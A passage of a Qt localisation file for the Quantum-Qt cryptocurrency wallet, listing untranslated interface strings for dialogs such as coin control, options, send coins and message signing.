<location filename="../clientmodel.cpp" line="+90"/>
<source>Network Alert</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>CoinControlDialog</name>
<message>
<location filename="../forms/coincontroldialog.ui" line="+14"/>
<source>Coin Control</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+31"/>
<source>Quantity:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+32"/>
<source>Bytes:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+48"/>
<source>Amount:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+32"/>
<source>Priority:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+48"/>
<source>Fee:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+35"/>
<source>Low Output:</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../coincontroldialog.cpp" line="+551"/>
<source>no</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../forms/coincontroldialog.ui" line="+51"/>
<source>After Fee:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+35"/>
<source>Change:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+69"/>
<source>(un)select all</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+13"/>
<source>Tree mode</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+16"/>
<source>List mode</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+45"/>
<source>Amount</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Label</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Date</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Confirmations</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Confirmed</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Priority</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../coincontroldialog.cpp" line="-515"/>
<source>Copy address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy label</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<location line="+26"/>
<source>Copy amount</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-25"/>
<source>Copy transaction ID</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+24"/>
<source>Copy quantity</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Copy fee</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy after fee</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy bytes</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy priority</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy low output</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy change</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+317"/>
<source>highest</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>high</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>medium-high</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>medium</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+4"/>
<source>low-medium</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>low</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>lowest</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+155"/>
<source>DUST</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>yes</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+10"/>
<source>This label turns red, if the transaction size is bigger than 10000 bytes.
This means a fee of at least %1 per kb is required.
Can vary +/- 1 Byte per input.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Transactions with higher priority get more likely into a block.
This label turns red, if the priority is smaller than "medium".
This means a fee of at least %1 per kb is required.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>This label turns red, if any recipient receives an amount smaller than %1.
This means a fee of at least %2 is required.
Amounts below 0.546 times the minimum relay fee are shown as DUST.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>This label turns red, if the change is smaller than %1.
This means a fee of at least %2 is required.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+37"/>
<location line="+66"/>
<source>(no label)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-9"/>
<source>change from %1 (%2)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>(change)</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>EditAddressDialog</name>
<message>
<location filename="../forms/editaddressdialog.ui" line="+14"/>
<source>Edit Address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+11"/>
<source>&Label</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+10"/>
<source>The label associated with this address book entry</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>&Address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+10"/>
<source>The address associated with this address book entry. This can only be modified for sending addresses.</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../editaddressdialog.cpp" line="+20"/>
<source>New receiving address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+4"/>
<source>New sending address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Edit receiving address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+4"/>
<source>Edit sending address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+76"/>
<source>The entered address "%1" is already in the address book.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-5"/>
<source>The entered address "%1" is not a valid Quantum address.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+10"/>
<source>Could not unlock wallet.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>New key generation failed.</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>GUIUtil::HelpMessageBox</name>
<message>
<location filename="../guiutil.cpp" line="+420"/>
<location line="+12"/>
<source>Quantum-Qt</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-12"/>
<source>version</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Usage:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>command-line options</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+4"/>
<source>UI options</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Set language, for example "de_DE" (default: system locale)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Start minimized</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Show splash screen on startup (default: 1)</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>OptionsDialog</name>
<message>
<location filename="../forms/optionsdialog.ui" line="+14"/>
<source>Options</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+16"/>
<source>&Main</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+6"/>
<source>Optional transaction fee per kB that helps make sure your transactions are processed quickly. Most transactions are 1 kB. Fee 0.01 recommended.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+15"/>
<source>Pay transaction &fee</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+31"/>
<source>Reserved amount does not participate in staking and is therefore spendable at any time.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+15"/>
<source>Reserve</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+31"/>
<source>Automatically start Quantum after logging in to the system.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>&Start Quantum on system login</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Detach block and address databases at shutdown. This means they can be moved to another data directory, but it slows down shutdown. The wallet is always detached.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>&Detach databases at shutdown</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+21"/>
<source>&Network</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+6"/>
<source>Automatically open the Quantum client port on the router. This only works when your router supports UPnP and it is enabled.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Map port using &UPnP</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Connect to the Quantum network through a SOCKS proxy (e.g. when connecting through Tor).</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>&Connect through SOCKS proxy:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+9"/>
<source>Proxy &IP:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+19"/>
<source>IP address of the proxy (e.g. 127.0.0.1)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>&Port:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+19"/>
<source>Port of the proxy (e.g. 9050)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>SOCKS &Version:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+13"/>
<source>SOCKS version of the proxy (e.g. 5)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+36"/>
<source>&Window</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+6"/>
<source>Show only a tray icon after minimizing the window.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>&Minimize to the tray instead of the taskbar</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Minimize instead of exit the application when the window is closed. When this option is enabled, the application will be closed only after selecting Quit in the menu.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>M&inimize on close</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+21"/>
<source>&Display</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+8"/>
<source>User Interface &language:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+13"/>
<source>The user interface language can be set here. This setting will take effect after restarting Quantum.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+11"/>
<source>&Unit to show amounts in:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+13"/>
<source>Choose the default subdivision unit to show in the interface and when sending coins.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+9"/>
<source>Whether to show Quantum addresses in the transaction list or not.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>&Display addresses in transaction list</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Whether to show coin control features or not.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Display coin &control features (experts only!)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+71"/>
<source>&OK</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>&Cancel</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+10"/>
<source>&Apply</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../optionsdialog.cpp" line="+55"/>
<source>default</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+149"/>
<location line="+9"/>
<source>Warning</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-9"/>
<location line="+9"/>
<source>This setting will take effect after restarting Quantum.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+29"/>
<source>The supplied proxy address is invalid.</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>OverviewPage</name>
<message>
<location filename="../forms/overviewpage.ui" line="+14"/>
<source>Form</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+33"/>
<location line="+231"/>
<source>The displayed information may be out of date. Your wallet automatically synchronizes with the Quantum network after a connection is established, but this process has not completed yet.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-160"/>
<source>Stake:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+29"/>
<source>Unconfirmed:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-107"/>
<source>Wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+49"/>
<source>Spendable:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+16"/>
<source>Your current spendable balance</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+71"/>
<source>Immature:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+13"/>
<source>Mined balance that has not yet matured</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+20"/>
<source>Total:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+16"/>
<source>Your current total balance</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+46"/>
<source><b>Recent transactions</b></source>
<translation type="unfinished"/>
</message>
<message>
<location line="-108"/>
<source>Total of transactions that have yet to be confirmed, and do not yet count toward the current balance</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-29"/>
<source>Total of coins that was staked, and do not yet count toward the current balance</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../overviewpage.cpp" line="+113"/>
<location line="+1"/>
<source>out of sync</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>QRCodeDialog</name>
<message>
<location filename="../forms/qrcodedialog.ui" line="+14"/>
<source>QR Code Dialog</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+59"/>
<source>Request Payment</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+56"/>
<source>Amount:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-44"/>
<source>Label:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+19"/>
<source>Message:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+71"/>
<source>&Save As...</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../qrcodedialog.cpp" line="+62"/>
<source>Error encoding URI into QR Code.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+40"/>
<source>The entered amount is invalid, please check.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>Resulting URI too long, try to reduce the text for label / message.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+25"/>
<source>Save QR Code</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>PNG Images (*.png)</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>RPCConsole</name>
<message>
<location filename="../forms/rpcconsole.ui" line="+46"/>
<source>Client name</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+10"/>
<location line="+23"/>
<location line="+26"/>
<location line="+23"/>
<location line="+23"/>
<location line="+36"/>
<location line="+53"/>
<location line="+23"/>
<location line="+23"/>
<location filename="../rpcconsole.cpp" line="+348"/>
<source>N/A</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-217"/>
<source>Client version</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-45"/>
<source>&Information</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+68"/>
<source>Using OpenSSL version</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+49"/>
<source>Startup time</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+29"/>
<source>Network</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Number of connections</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>On testnet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>Block chain</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Current number of blocks</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>Estimated total blocks</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>Last block time</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+52"/>
<source>&Open</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+16"/>
<source>Command-line options</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Show the Quantum-Qt help message to get a list with possible Quantum command-line options.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>&Show</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+24"/>
<source>&Console</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-260"/>
<source>Build date</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-104"/>
<source>Quantum - Debug window</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+25"/>
<source>Quantum Core</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+279"/>
<source>Debug log file</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Open the Quantum debug log file from the current data directory. This can take a few seconds for large log files.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+102"/>
<source>Clear console</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../rpcconsole.cpp" line="-33"/>
<source>Welcome to the Quantum RPC console.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Use up and down arrows to navigate history, and <b>Ctrl-L</b> to clear screen.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Type <b>help</b> for an overview of available commands.</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>SendCoinsDialog</name>
<message>
<location filename="../forms/sendcoinsdialog.ui" line="+14"/>
<location filename="../sendcoinsdialog.cpp" line="+182"/>
<location line="+5"/>
<location line="+5"/>
<location line="+5"/>
<location line="+6"/>
<location line="+5"/>
<location line="+5"/>
<source>Send Coins</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+76"/>
<source>Coin Control Features</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+20"/>
<source>Inputs...</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>automatically selected</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+19"/>
<source>Insufficient funds!</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+77"/>
<source>Quantity:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+22"/>
<location line="+35"/>
<source>0</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-19"/>
<source>Bytes:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+51"/>
<source>Amount:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+22"/>
<location line="+86"/>
<location line="+86"/>
<location line="+32"/>
<source>0.00 QTM</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-191"/>
<source>Priority:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+19"/>
<source>medium</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+32"/>
<source>Fee:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+35"/>
<source>Low Output:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+19"/>
<source>no</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+32"/>
<source>After Fee:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+35"/>
<source>Change</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+50"/>
<source>custom change address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+106"/>
<source>Send to multiple recipients at once</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Add &Recipient</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+20"/>
<source>Remove all transaction fields</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Clear &All</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+28"/>
<source>Balance:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+16"/>
<source>123.456 QTM</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+31"/>
<source>Confirm the send action</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>S&end</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../sendcoinsdialog.cpp" line="-173"/>
<source>Enter a Quantum address (e.g. Sjz75uKHzUQJnSdzvpiigEGxseKkDhQToX)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+15"/>
<source>Copy quantity</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy amount</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy fee</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy after fee</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy bytes</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy priority</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy low output</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy change</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+86"/>
<source><b>%1</b> to %2 (%3)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Confirm send coins</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Are you sure you want to send %1?</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source> and </source>
<translation type="unfinished"/>
</message>
<message>
<location line="+29"/>
<source>The recipient address is not valid, please recheck.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>The amount to pay must be larger than 0.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>The amount exceeds your balance.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>The total exceeds your balance when the %1 transaction fee is included.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+6"/>
<source>Duplicate address found, can only send to each address once per send operation.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Error: Transaction creation failed.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Error: The transaction was rejected. This might happen if some of the coins in your wallet were already spent, such as if you used a copy of wallet.dat and coins were spent in the copy but not marked as spent here.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+251"/>
<source>WARNING: Invalid Quantum address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+13"/>
<source>(no label)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+4"/>
<source>WARNING: unknown change address</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>SendCoinsEntry</name>
<message>
<location filename="../forms/sendcoinsentry.ui" line="+14"/>
<source>Form</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+15"/>
<source>A&mount:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+13"/>
<source>Pay &To:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+24"/>
<location filename="../sendcoinsentry.cpp" line="+25"/>
<source>Enter a label for this address to add it to your address book</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+9"/>
<source>&Label:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+18"/>
<source>The address to send the payment to (e.g. Sjz75uKHzUQJnSdzvpiigEGxseKkDhQToX)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+10"/>
<source>Choose address from address book</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+10"/>
<source>Alt+A</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Paste address from clipboard</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+10"/>
<source>Alt+P</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Remove this recipient</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../sendcoinsentry.cpp" line="+1"/>
<source>Enter a Quantum address (e.g. Sjz75uKHzUQJnSdzvpiigEGxseKkDhQToX)</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>SignVerifyMessageDialog</name>
<message>
<location filename="../forms/signverifymessagedialog.ui" line="+14"/>
<source>Signatures - Sign / Verify a Message</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+13"/>
<location line="+124"/>
<source>&Sign Message</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-118"/>
<source>You can sign messages with your addresses to prove you own them. Be careful not to sign anything vague, as phishing attacks may try to trick you into signing your identity over to them. Only sign fully-detailed statements you agree to.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+18"/>
<source>The address to sign the message with (e.g. Sjz75uKHzUQJnSdzvpiigEGxseKkDhQToX)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+10"/>
<location line="+203"/>
<source>Choose an address from the address book</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-193"/>
<location line="+203"/>
<source>Alt+A</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-193"/>
<source>Paste address from clipboard</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+10"/>
<source>Alt+P</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+12"/>
<source>Enter the message you want to sign here</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+24"/>
<source>Copy the current signature to the system clipboard</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+21"/>
<source>Sign the message to prove you own this Quantum address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+17"/>
<source>Reset all sign message fields</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<location line="+146"/>
<source>Clear &All</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-87"/>
<location line="+70"/>
<source>&Verify Message</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-64"/>
<source>Enter the signing address, message (ensure you copy line breaks, spaces, tabs, etc. exactly) and signature below to verify the message. Be careful not to read more into the signature than what is in the signed message itself, to avoid being tricked by a man-in-the-middle attack.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+21"/>
<source>The address the message was signed with (e.g. Sjz75uKHzUQJnSdzvpiigEGxseKkDhQToX)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+40"/>
<source>Verify the message to ensure it was signed with the specified Quantum address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+17"/>
<source>Reset all verify message fields</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../signverifymessagedialog.cpp" line="+27"/>
<location line="+3"/>
<source>Enter a Quantum address (e.g. Sjz75uKHzUQJnSdzvpiigEGxseKkDhQToX)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-2"/>
<source>Click "Sign Message" to generate signature</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Enter Quantum signature</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+82"/>
<location line="+81"/>
<source>The entered address is invalid.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-81"/>
<location line="+8"/>
<location line="+73"/>
<location line="+8"/>
<source>Please check the address and try again.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-81"/>
<location line="+81"/>
<source>The entered address does not refer to a key.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-73"/>
<source>Wallet unlock was cancelled.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+8"/>
<source>Private key for the entered address is not available.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+12"/>
<source>Message signing failed.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Message signed.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+59"/>
<source>The signature could not be decoded.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<location line="+13"/>
<source>Please check the signature and try again.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>The signature did not match the message digest.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Message verification failed.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Message verified.</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>TransactionDesc</name>
<message>
<location filename="../transactiondesc.cpp" line="+19"/>
<source>Open until %1</source>
<translation type="unfinished"/>
</message>
<message numerus="yes">
<location line="-2"/>
<source>Open for %n block(s)</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message>
<location line="+8"/>
<source>conflicted</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>%1/offline</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>%1/unconfirmed</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>%1 confirmations</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+18"/>
<source>Status</source>
<translation type="unfinished"/>
</message>
<message numerus="yes">
<location line="+7"/>
<source>, broadcast through %n node(s)</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message>
<location line="+4"/>
<source>Date</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Source</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>Generated</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<location line="+17"/>
<source>From</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<location line="+22"/>
<location line="+58"/>
<source>To</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-77"/>
<location line="+2"/>
<source>own address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-2"/>
<source>label</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+37"/>
<location line="+12"/>
<location line="+45"/>
<location line="+17"/>
<location line="+30"/>
<source>Credit</source>
<translation type="unfinished"/>
</message>
<message numerus="yes">
<location line="-102"/>
<source>matures in %n more block(s)</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message>
<location line="+2"/>
<source>not accepted</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+44"/>
<location line="+8"/>
<location line="+15"/>
<location line="+30"/>
<source>Debit</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-39"/>
<source>Transaction fee</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+16"/>
<source>Net amount</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+6"/>
<source>Message</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Comment</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Transaction ID</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
